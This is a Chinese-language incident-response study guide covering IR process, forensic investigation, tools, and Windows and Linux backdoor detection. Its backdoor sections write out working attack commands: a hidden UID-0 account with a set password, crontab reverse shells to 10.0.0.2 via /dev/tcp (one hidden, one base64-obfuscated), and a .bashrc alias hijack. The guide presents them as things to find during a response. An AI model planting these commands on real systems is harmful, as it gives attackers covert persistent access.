一、相关概念
应急响应(Incident Response):
安全人员在遇到突发事件后所采取的措施和行动。突发事件:
发生在计算机系统或网络上威胁安全的事件。如黑客入侵、信息窃取等。事件响应:
信息安全生命周期的必要组成部分,这个生命周期包括:对策、检测和响应。场景:
运维人员无法迅速处理安全事件时,需要第三方厂商提供一种能发现并解决问题的有效服务手段。职责:
控制影响范围确保业务正常运转、还原攻击场景、找到问题根源、最后追溯攻击源。目的:
以最快速度恢复系统的保密性、完整性和可用性,阻止和减小安全事件带来的影响。目标:
积极预防、及时发现、快速反应、确保恢复。
二、应急响应流程
1、通用型流程
1、准备(Preparation)
安全支撑平台:防火墙、入侵检测系统(IDS)等
日常安全管理:运维操作记录
应急预案:设备故障应急操作、攻击如何处理、获取外部支持、风险分析(规避措施)
2、检测(Detection)
主动发现:预警的及时性和全局性,为后续处理争取时间
被动发现:网络使用者的报告,业务用户的投诉
影响范围:单用户、多用户,已发生的、处于危险中的(还未发生)
3、分类(Classification)
攻击事件:大流量攻击、业务应用攻击
入侵事件:应用系统后门、web站点入侵
病毒事件:网络蠕虫病毒、ARP欺骗病毒
其他:网络或系统异常、敏感信息泄露
4、抑制(Containment)
已发生安全事件的:采取隔离、用边界控制设备防止网络区域内相互影响
处于危险中的:采取补救加固、漏洞扫描与修补、安全测试
5、根除(Eradication)
安全事件分析-了解危害程度-确定事件原因-针对性防范措施-是否有存在遗漏-调整平台安全策略
6、恢复(Recovery)
对主机和网络控制的恢复
从备份中恢复受损的数据
调整可能影响业务正常运转的策略
7、后续(Follow-up)
总结并指导今后的应急管理
必要时申请司法程序介入
2、个人总结的流程
步骤简述:接案–取证–分析侦察–锁定嫌疑人–结案
接案
1、因为攻击者经验、隐蔽性不足被发现
炫耀型——上传黑页、到此一游.txt
政治目的型——重点攻击政府站点、Anonymous(匿名者)
利益型——暗链、SEO推广、勒索、挖矿
抓鸡型——1433、mysql自动抓鸡、SSH暴力破解
持续型——长期潜伏式攻击、APT
DDOS攻击型——SYN Flood、CC攻击
蠕虫感染型——内网传播、Conficker、WannaCry
取证
1、保护第一现场
操作日志、应用日志
攻击者的残留文件
2、不轻信一面之词
与目击者交流相关细节
亲自核实所述、转述情况
分析侦察
1、三要素法-时间
攻击发现时间
-------目击者报案时间
后门文件时间
-------windows时间问题(创建时间等可以修改)
-------Linux下ctime(change time)
异常时间段内
-------web访问日志、操作系统认证日志、应用设备日志
2、三要素法-地点
webshell首次出现目录
-------上传漏洞——img_upload
-------代码执行——dedecms变量覆盖
-------后台上传——system_upload
残留文件所在目录
-------自动化攻击——批处理文件、shell脚本
-------人为上传\下载——桌面、下载目录
3、三要素法-事件
应用后台日志
-------登录日志——是否有非法账户
-------篡改记录——是否是从数据库修改
-------上传点——黑客最钟爱功能
web访问日志
-------SQL注入——order by
-------暴力破解——认证接口页面
-------代码执行——Struts2、java反序列化漏洞
对外应用访问日志
-------FTP访问日志——日志文件配置
-------SSH认证日志——Accept、Failed
操作历史记录
-------web运行账户——反弹执行命令
-------root用户——是否被提权
-------易受攻击账户——oracle、db2、weblogic
登录日志为二进制格式文件,无法被逐条删除(日志要么全清,要么完整)
—linux
-------wtmp—who -u /var/log/wtmp
-------btmp—last -f /var/log/btmp
-------lastlog—lastlog -f /var/log/lastlog
—windows
-------事件日志大小配置——默认覆盖
-------安全性事件——审核成功与失败
操作系统完整性检查
-------进程:非法程序、dll注入、/proc/PID
-------网络:监听端口、异常连接
-------账户:UID=0(注意Liunx下是无隐藏账号的)、administrators、admin$
-------启动项:crontab –l、inittab、rc.local、services.msc、msconfig
4、回溯攻击法
分析可能被攻击途径,进行模拟攻击
----主机监听端口整理
-------1、对应应用
-----------弱口令——FTP、SSH
-----------暴力破解——MYSQL、MSSQL
-----------代码执行——web攻击、应用漏洞
-------2、对外端口——防火墙策略
密码泄露
-------厂商应用口令——搜索引擎
-------数据库口令——web应用配置文件
中间人攻击
-------ARP攻击——劫持与嗅探
内部发起攻击
-------统一口令——windows域环境
-------溢出攻击——SMB缓冲区漏洞
5、经验法
攻击者常用的目录
-------/var/tmp、/tmp、/dev/shm、RECYCLER
特征文件
-------/tmp/angel_bc—phpspy木马反弹脚本
-------bqufe.sys(随机)—PcShare类远控木马
-------hxdef100.ini—Hacker Defender Rootkit
黑客惯用手法
-------操作系统后门:ushift后门、sshd backdoor
-------一句话木马:插入文件、php变形、包含图片
利用搜索功能
-------包含隐藏文件——Everything
-------n*24H内修改过的文件——find / -ctime -n
锁定嫌疑人
1、木马分析
静态逆向分析——IDA、OllyDbg
动态分析——抓包、内存截取
2、日志分析
web访问——webshell首次访问IP
登录记录——windows&linux
通过nmap扫描确认是否为跳板
结案
1、技术层面
漏洞确认及修补、后门清理与观察、涉及知识点学习、安全攻防技能培训
2、管理层面
报告整理输出、详细整改建议、攻击过程再现、流程制度规范
三、应急响应常用工具
常用应急响应工具及常用命令如下:
常见工具-windows
系统启动相关:
Autoruns 、Msconfig 、Net
系统进程分析监控:
Process explorer、Process Monitor、Tasklist
端口网络状态:
Tcpview、Currports、Netstat
综合安全检测:
Wsyscheck、PowerTool、PCHunter、WIN64AST
常见工具-Linux
rookit检查:
Rkhunter、chkrookit、LiveCD引导拯救光盘
系统相关命令:
ps、pstree、pmap、top、kill
ls、strings、strace、readelf、rmp
lsof、netstat
chkconfig、crontab
通用检查工具
Webshell检查:
WebShellKill、HwsKill、Everything
Webshell.py、find、grep、findstr
网络攻击相关:
Sniffer Pro、WinArpAttacker
Tcpdump、wireshark、Colasoft Capsa
日志分析工具:
Logview、LogParse、EmEditor
四、后门检测与查杀-windows/linux
1、常见的windows自启动方法
1、开始菜单\程序\启动
2、开机启动项(msconfig)
注册表:HKLM\Software\Microsoft\Windows\CurrentVersion\Run
3、注册为系统服务(services.msc)
4、任务计划启动(Schedule)
5、AUTOEXEC.BAT(NT 5.x)
6、系统程序替换 (ctfmon、conime)
7、组策略脚本(gpedit.msc)
2、特殊的windows自启动方式
1、Load加载
HKCU\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load
2、Winlogon加载
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit
--管理系统各项启动顺序、逗号分隔加入其它程序
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify
--关联特定的事件(安全模式启动)、产生事件通知时检查并调用相关DLL
3、映像劫持IFEO
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options
4、DLL劫持
lpk.dll、usp10.dll、ws2help.dll
5、关联特定程序
HKEY_CLASSES_ROOT\txtfile\Shell\open\command
HKLM\SOFTWARE\Microsoft\CommandProcessor\AutoRun
6、ActiveX自启动(DRAT2010)
HKLM\Software\Microsoft\ActiveSetup\InstalledComponents\{…}\stubpath
3、线程注入类木马
将自身线程注入到其他合法程序中,在宿主进程中,以线程的方式执行木马代码。以非进程方式执行代码,可以逃避进程查看器检查,实现进程隐藏。Process Explorer(增强任务管理器)、XueTr(手工杀毒软件)等工具具有查看结束线程以及挂起和恢复线程的功能。
代表木马:
灰鸽子远程控制(RAT)。工具:
Process Explorer、XueTr
4、ActiveX启动类木马
Active Setup键值:
--HKLM\Software\Microsoft\ActiveSetup\InstalledComponents
已安装windows组件信息(office、IE、OS)。每个键值作为相应组件在系统中的ID标示。进入桌面时先于其它自启动程序加载。
StubPath=%systemroot%\Trojan.exe
通过线程注入方式,实现木马自身功能。
代表木马:
彩虹桥远程监控木马(Bifrost)。工具:
PCHunter-手工杀毒软件
5、DLL注入类木马
由于windows系统服务过多,为了节省系统资源,微软将很多服务做成共享方式,交由svchost进程来启动。服务以dll形式实现,将执行程序指向svchost,由其调用相应服务的动态链接库文件来启动服务。
svchost作为宿主进程,并不提供任何服务系统。svchost是一个用于加载系统服务的宿主程序。此类木马更具迷惑性,同时容易绕过防火墙限制。
代表木马:
PcShare远程控制。工具:
Wsyscheck-系统检测工具
6、SSDT HOOK类木马
System Services Descriptor Table(系统服务描述符表)。将Ring3下的Win32 API和Ring0下内核API函数相互联系起来,即告诉系统,需要调用的API在什么地方。
通过修改SSDT表的函数地址可以对常用windows函数及API进行hook,如杀毒软件的主动防御功能即采用此接口来实现监控。利用驱动程序在ring0态将SSDT恢复为原始状态,即可使安全软件的主动防御和监控功能失效。
代表木马:
gh0st。工具:
PowerTool-手动杀毒辅助工具
7、windows常见后门
1、windows登陆界面:粘滞键(sethc)、放大镜(magnify)、屏幕键盘(osk)
2、密码截取记录:WinlogonHack、PwDump、wce
3、自启动相关:计划任务、组策略脚本、DLL劫持
4、其他:隐藏(克隆)账户、反弹程序
8、Linux自启动方式
1、/etc/rc.local 开机启动脚本
2、/etc/init.d/ 服务启动脚本
3、/etc/inittab 初始化配置文件
4、crond 自动调度任务(计划任务)
5、/etc/ld.so.preload 加载动态库.so文件
6、环境变量设置
如:/etc/profile、.bash_profile、.bash_login、.bash_logout
7、使用patch并编译的文件覆盖正常程序
9、Linux常见后门
1、自启动相关配置文件修改
useradd -u 0 -o -g root -G root r00t;echo r00t:p@ssw0rd | chpasswd
2、SetUID权限位
chmod u+s /tmp/.bash
find / -perm -4000
3、SSHD相关后门
pam认证文件修改(pmap PID | grep security)
sshd backdoor(rpm -vf /usr/sbin/sshd)
10、Linux--crontab后门
1、添加任务
(crontab -l;echo '*/1 * * * * exec 9<>/dev/tcp/10.0.0.2/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
2、隐藏任务
printf "*/1 * * * * exec 9<> /dev/tcp/10.0.0.2/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for 'whoami'%100c\n" | crontab -
3、base64编码
exec 9<> /dev/tcp/10.0.0.2/53;exec 0<&9;exec 1>&9
(echo '*/1 * * * * a=`echo "ZXhlYyA5PD4gL2Rldi90Y3AvMTAuMC4wLjIvN =="|base64 –d`;/bin/bash -c "$a";unset a')|crontab -
#注意闭合符号的组合
11、Linux—bash shell后门
1、.bash_profile
用户设置的环境变量,在登陆时执行,调用bashrc
2、.bashrc
登录及打开shell时读取执行,继承profile中变量
3、设置别名与函数。修改.bashrc文件
alias su="~/.subtty su"
alias ssh="~/.subtty ssh“
if [ -z "$SUBTTY" ]; then exec ~/.subtty; fi
12、Linux下相关工具
1、tripwire
文件系统完整性检查,建立指纹数据库。大小、HASH、所有者、群组、存取权限等
2、chkrootkit、rootkit hunter
恶意程序安全查杀工具。rootkit、后门、漏洞利用程序。基于特征关键字检索,可被绕过
13、Linux下手工分析
1、RPM包可信校验
rpm -Vf (ps/pstree/lsof/kill/netstat/ls/dir/find/sshd)
2、进程查看:
pstree / ps -aux (START列为程序开始运行时间)
3、端口状态及网络连接
netstat -lntp (非root用户只能看到部分连接的PID)
lsof -Pnl -i tcp:80
4、进程文件路径
ls -l /proc/PID/exe
5、结束进程
killall httpd
kill -9 “ps -ef | grep test | awk '{print $2}'”
6、状态检查
top(内存/CPU排序)、lsmod(内核模块)
ls -last(按修改时间排序)、stat(文件访问、修改、状态改动时间)
7、启动项检查
ls -lh /var/spool/cron/
chkconfig --list |grep 3:on